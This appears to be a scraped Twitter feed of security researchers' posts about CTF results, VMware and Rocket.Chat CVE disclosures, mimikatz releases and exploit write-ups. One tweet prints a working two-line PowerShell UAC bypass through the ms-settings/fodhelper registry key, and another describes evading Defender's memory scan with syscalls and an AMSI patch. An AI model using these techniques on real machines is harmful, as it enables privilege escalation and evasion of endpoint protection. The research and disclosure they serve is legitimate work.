makelarisjr

We've been busy this weekend! Scoring 5th place on 2 CTFs back to back. The top teams were just one challenge solve apart from each other. Thanks to both @HackPackCTF and @SecuriNets for the fun challenges! See you at the finals.🏴🏴

alert() is dead, long live print() - by @albinowax and @garethheyes portswigger.net/research/alert…

New #mimikatz release to test new ts::logonpasswords feature (experimental)🥝 - Only with active users - Only tested on 2012R2/2016/2019 + some Windows 10 LTSC > github.com/gentilkiwi/mim… * Do not hesitate to make some tests @awakecoding @jonasLyk @FuzzySec @n00py1 etc. 🤪

VMware fixed an Unauth RCE in vRealize Business for Cloud (CVE-2021-21984) found by our researcher Egor Dimitrenko. Advisory: vmware.com/security/advis…

New year, new people, new pwning power. 1st 🥇place for our team at #wpictf! Congrats to all the teams, it was a tight race!

Check out my latest blog post detailing the "Airstrike Attack" allowing for FDE bypass and EoP on domain joined Windows workstations (CVE 2021-28316) shenaniganslabs.io/2021/04/13/Air…

UAC bypass in 2 lines: ``` New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force ``` cmd -> fodhelper PoC||GTFO

VMware fixed CVE-2021-21975 and CVE-2021-21983, which when chained together lead to an unauth RCE in vRealize Operations. The vulnerabilities were found by our researcher Egor Dimitrenko. Advisory: vmware.com/security/advis…

Rocket.Chat fixed a persistent XSS found by our researcher Igor Sak-Sakovskiy. The vulnerability was triggered by sending a text message, resulting in an arbitrary file read or RCE on the recipient's desktop system. hackerone.com/reports/1014459

I made a writeup for the Securinets CTF 2021 challenge Mixed since we were the only team that solved it intendedly. Not a crazy challenge but had some cool stuff in there. deltaclock.gitbook.io/ctf-writeups/s…

Defender in memory scan - Hasta la vista, baby! 🥳 DInvoke Syscalls to avoid hooking + Sleeps for the DLL imports. Both trigger a scan, so doing only one won´t help. Only needs an amsi.dll patch bypass before. gist.github.com/S3cur3Th1sSh1t… Let´s see how long this will last 😬

Hope you enjoy my first challenges for #PWNATHON! Go claim these bloods!

CVE-2021-21972 on Windows deployments is SYSTEM and on Linux deployments it's only uid 1016. I got you fam.

Since the PoC for the VMware vCenter RCE (CVE-2021-21972) is now readily available, we're publishing our article covering all of the technical details. Read the article: swarm.ptsecurity.com/unauth-rce-vmw…

It was all sunshine and 🌈 until the soul of an ambitious weatherman got trapped by an evil 🧙‍♀️. You still have time to hack your way in @hackthebox_eu and claim the first🩸for my #Web challenge #WeatherApp. #HackTheBox #BugBounty #BugBountyTips

I just came across a writeup for a task I made with @makelarisjr for HTB x UNI CTF. The challenge consists of phar deserialization to RCE using an image polyglot of a POP chain that affects Laravel. The theme is a reference to Mr Robot's Midland City. sourque.dev/writeups/htbq2…

Learn how we exploited a tricky #vulnerability to get remote code execution on #Laravel #php framework, when in debug mode. ambionics.io/blog/laravel-d…

@NRockhouse wrote a nice writeup for a challenge I made with @makelarisjr for the HTB x UNI CTF. The challenge consists of jku claim misuse due to URL parsing inconsistencies and session fixation via response splitting resulting in CSP policy injection. blog.rockhouse.dev/2021/01/10/hac…

NEW #HTB #ProLab is OUT 🚨 Discover #APTLabs, the ultimate #RedTeam challenge! And the best part? Check out our ❄️ December Special ➡️ 50% OFF on Setup Fee for all Pro Labs! Read the full story here 👉 bit.ly/33y3OjK #HackTheBox #Hacking #InfoSec #CyberSecurity

#HTB UNI #CTF 2020 - Quals Round is over! 🚩 Congrats to all participants, 204 Teams & 1,375 Players 👏 The TOP 3 now: 🥇 SIGINT @EdinburghUni 🥈 AptBlackboxTesters @DTUtweet 🥉 UniWA @iceuniwa Next Step? Write-ups! ✍️ Stay tuned for the final results of the TOP 15! #HackTheBox